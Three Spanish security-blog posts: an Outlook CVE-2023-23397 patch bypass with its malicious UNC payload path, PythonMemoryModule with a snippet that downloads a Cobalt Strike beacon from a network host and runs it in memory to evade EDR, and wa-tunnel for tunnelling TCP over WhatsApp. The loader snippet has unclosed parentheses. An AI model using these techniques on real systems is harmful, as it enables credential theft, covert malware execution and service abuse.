martes, 6 de junio de 2023

Evasión del parche para la vulnerabilidad 0-click en Outlook CVE-2023-23397

En marzo de 2023 Microsoft parcheó una vulnerabilidad etiquetada como CVE-2023-23397 que afectaba a Outlook y podía permitir a un atacante obtener las credenciales de su víctima sin su interacción (0-click) simplemente mandando una convocatoria de reunión con una ruta UNC a un servidor malicioso en la ruta a un sonido de notificación personalizado (propiedad MAPI extendida PidLidReminderFileParameter). Al intentar conectar al servidor SMB remoto, el hash Net-NTLMv2 se envía en un mensaje de negociación.

Actualmente, para cargar del archivo de sonido custom, Outlook usa dos funciones importantes:

  • MapUrlToZone - Devuelve la zona de la URL; se utiliza para determinar si la ruta es local, intranet o de confianza. Esto es lo que se implementó para solucionar el problema con la vulnerabilidad de marzo, e para verificar que la ruta no se refiera a una URL de Internet. Si es así, se utiliza el sonido de recordatorio predeterminado en lugar del personalizado.
  • CreateFile: abre un handler para el archivo de sonido

Pues bien, ahora  el investigador de Akamai Ben Barnea ha encontrado un bypass contra esa medida mitigatoria...

Para llamar a MapUrlToZone, podemos usar el siguiente script de PowerShell que invoca la función a través del Modelo de objetos componentes (COM):

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\Akamai.com\file.wav')    
3             

Para verificar que MapUrlToZone es una mitigación adecuada, podemos probarlo llamándolo en la misma ruta que desencadenó la vulnerabilidad: una ruta UNC absoluta con un dominio de Internet. MapUrlToZone devuelve 3, lo que indica que la ruta se encuentra en la zona de Internet, como se esperaba.

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\.\UNC\Akamai.com\file.wav')      
3

Como podéis observar, MapUrlToZone aún identifica la ruta como una zona de Internet, por lo que aún estaría bloqueada.
Sin embargo, al agregar otro '\' después de "UNC\", MapUrlToZone ahora devuelve 0, lo que significa una ruta local:

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\.\UNC\\Akamai.com\file.wav')
0

Como veis, MapUrlToZone concluye que esta URL es local.

El siguiente paso sería llamar a la función CreateFile, ¿Accederá a un archivo local o lo descargará a través de SMB?

Redoble de tambores ...

Como podéis observar en la imagen, se envió una solicitud de DNS para obtener la IP de Akamai.com. Parece que efectivamente esa ruta para MapUrlToZone es local, ¡pero hace que CreateFile envíe una solicitud a Internet!

Os recomiendo daros una vuelta por este enlace, pero el resumen es que la clave está en las conversiones:

Ruta vulnerable: \\.\UNC\\Akamai.com\file.wav

1. MapUrlToZone:
    CreateUri: /.//UNC//Akamai.com/file.wav
    NT Path: \??\C:\UNC\Akamai.com\file.wav
    Full Path: C:\UNC\Akamai.com\file.wav
    
2. CreateFile:
    Dos Path: \??\UNC\Akamai.com\file.wav    
    Full Path: \\.\UNC\Akamai.com\file.wav
   

Pero, ¿por qué manda CreateFile la petición hacia fuera con esa ruta? El acceso a esta ruta NT hará que el object manager enrute la solicitud de E/S al controlador del proveedor de múltiples UNC (MUP). (Esto se debe a que la entrada del directorio de objetos globales para "UNC" es un enlace simbólico a "\Device\Mup".) Luego RtlpDosPathNameToRelativeNtPathName elimina las '\' extra, por lo que la ruta resultante final contiene solo el nombre de dominio de Internet :)

Al final si explotáis la vulnerabilidad usando como payload la ruta vulnerable lo tendréis:

Fuente: https://www.akamai.com/blog/security-research/important-outlook-vulnerability-bypass-windows-api
Mitigaciones: https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
 Exploit (modificar el payload): https://github.com/api0cradle/CVE-2023-23397-POC-Powershell

jueves, 4 de mayo de 2023

PythonMemoryModule: implementación en python/ctypes para cargar una dll/exe en memoria

MemoryModule es una vieja herramienta desarrollada por Joachim Bauch que permite cargar y ejecutar módulos de Windows directamente desde la memoria en tiempo de ejecución en lugar de cargarlos desde el disco. Su técnica se basa en la capacidad de Windows de ejecutar código desde una sección de memoria que ha sido asignada como ejecutable.

La ventaja de esta técnica es que permite cargar módulos de forma dinámica y sin tener que escribirlos en el disco, lo que puede ser útil en ciertos casos, como cuando se desea ocultar el código malicioso de la detección por parte un EDR... ejem ejem... Además, al no cargar desde el disco, se puede evitar que se generen rastros en el filesystem o registros del sistema. claro claro...
 
Pues hoy y gracias al italiano naksyn traemos una implementación de esta técnica con Python utilizando la librería ctypes, ya sabéis, la que permite acceder a librerías compartidas escritas en lenguajes de programación como C, C++, entre otros, desde Python, cargando .pyd compilados en lugar de dlls externas, y apoyándose en pefile para analizar las cabeceras del ejecutable.

La herramienta llamada PythonMemoryModule (qué original en el nombre) se pensó en principio para usarla como un módulo de Pyramid para proporcionar evasión contra AV/EDR mediante la carga de payloads dll/exe en python.exe completamente desde la memoria; sin embargo, son posibles otros casos de uso (protección de IP, carga en memoria de pyds, spin-offs para otras técnicas más sigilosas), etc. 

Además, utilizar un lenguaje interpretado como Python nos aporta ventajas adicionales:

  • permite la carga de una dll desde un búfer de memoria utilizando el binario python.exe firmado sin necesidad de colocar en el disco código/bibliotecas externas (como enlaces de pymemorymodule) que pueden ser detectados por un AV/EDR o pueden despertar la sospecha del usuario.
  • no requiere meter el código en el loader ya que con Python se puede cargar de forma dinámica y en memoria
  • podemos cargar un payload stageless sin realizar una inyección o ejecutar un shellcode. El proceso de carga imita la API LoadLibrary sin llamarla...

Veamos un ejemplo de uso, por ejemplo la descarga de una dll de beacon stageless de Cobalt Strike (no se guarda en el disco), se carga en la memoria y se inicia llamando al entrypoint:

import urllib.request 
import ctypes 
import pythonmemorymodule 
request = urllib.request.Request('http://192.168.1.2/beacon.dll'
result = urllib.request.urlopen(request
buf=result.read() 
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True
startDll = dll.get_proc_addr('StartW'
assert startDll() 
#dll.free_library()

Nota: si usamos staging en nuestro malleable profile, la dll no podrá cargarse con LoadLibrary, por lo tanto, MemoryModule no funcionará.

¿Y cómo pueden detectar esta técnica los azulones? MemoryModule respetará principalmente los permisos de las secciones de la DLL de destino y evitará el enfoque RWX ruidoso. Sin embargo, dentro de la memoria del programa habrá un private commit no respaldado por una dll en disco y esto podría generar un indicador.

Proyecto: https://github.com/naksyn/PythonMemoryModule

miércoles, 3 de mayo de 2023

wa-tunnel: túnel TCP sobre Whatsapp

El otro día en pleno vuelo de una compañía que no voy a nombrar, vi que a bordo ofrecían servicio de Internet en dos modalidades/precios: navegación normal o navegación sólo para servicios de mensajería instantánea como WhatsApp. Por otro lado, también existen muchos operadores de telefonía e Internet que tiene tarifas sin límite de GBs para WhatsApp... ¿y si hiciéramos un túnel a través de WhatsApp para aprovecharnos de ésto? Siempre con motivos académicos por supuesto...

Pues desde Andorra Aleix Rodríguez nos ofrece una herramienta para llevarlo a cabo: wa-tunnel, una herramienta basada en Baileys que nos permitirá hacer un túnel TCP a través de dos cuentas de Whatsapp.

Dependiendo de la cantidad de caracteres necesarios, dividirá la comunicación en diferentes mensajes de texto o archivos. Para que WhatsApp no agote el tiempo de espera, por defecto está limitado a 20k caracteres por mensaje (actualmente está configurado en wasocket.js). Si un paquete de red supera el límite (los 20k caracteres), se enviará como un archivo si está habilitada la opción. Además, si se almacenan en caché varios paquetes de red, utilizará los mismos criterios.

Los mensajes de archivo se envían como archivos binarios, las respuestas de TCP se concatenan con un delimitador y se comprimen con brotli para reducir el uso de datos.

También almacena en caché las respuestas del socket TCP para agruparlas y enviar la máxima cantidad de datos en un mensaje, por lo tanto, reduce la cantidad de mensajes, mejora la velocidad y reduce la probabilidad de ser baneado.

Instalación

Debemos tener acceso a dos cuentas de Whatsapp, una para el servidor y otra para el cliente. Podemos reenviar un puerto local o usar un proxy externo.

Lado del servidor

Clona el repositorio en tu servidor e instala las dependencias de los nodos.

cd path/to/wa-tunnel
npm install
  
Luego, podemos iniciar el servidor con el siguiente comando, donde el puerto es el puerto proxy y el host es el host proxy que desea reenviar. Y número es el número de WhatsApp del cliente con el código del país todo junto y sin +.    
npm run server host port number

Ej. npm run server 192.168.0.1 3128 12345678901

Lado del cliente

Clona el repositorio en tu servidor e instala las dependencias de los nodos.
cd path/to/wa-tunnel
npm install
  
Luego, podemos iniciar el servidor con el siguiente comando, donde puerto es el puerto local donde se conectará y el número es el número de WhatsApp del servidor con el código de país en conjunto y sin +.    
npm run client port number

Ej. npm run client 8080 1234567890

Uso

La primera vez que abramos el script, el Baileys nos pedirá que escaneemos el código QR con la aplicación de WhatsApp, después de eso, la sesión se guardará para su uso posterior.

Si falla (suele ser normal) simplemente hay que reiniciar el script y tendremos nuestro cliente/servidor listo.

Una vez que tengamos el cliente y el servidor listos, podemos probar usando curl y ver cómo sucede la magia.
curl -v -x localhost:8080 https://httpbin.org/ip

Ha sido probado también con un navegador normal como Firefox, es lento pero se puede usar.

También podemos reenviar otros puertos de protocolos como SSH configurando el servidor de esta manera:
npm run server localhost 22 12345678901

Y luego conectarse al servidor usando en el cliente:
ssh root@localhost -p 8080

Uso en Android

Para usarlo en Android, podemos hacerlo con Termux usando los siguientes comandos:
pkg update && pkg upgrade
pkg install git nodejs -y
git clone https://github.com/aleixrodriala/wa-tunnel.git
cd wa-tunnel
npm install

Proyecto: https://github.com/aleixrodriala/wa-tunnel

 

CLOWN SAW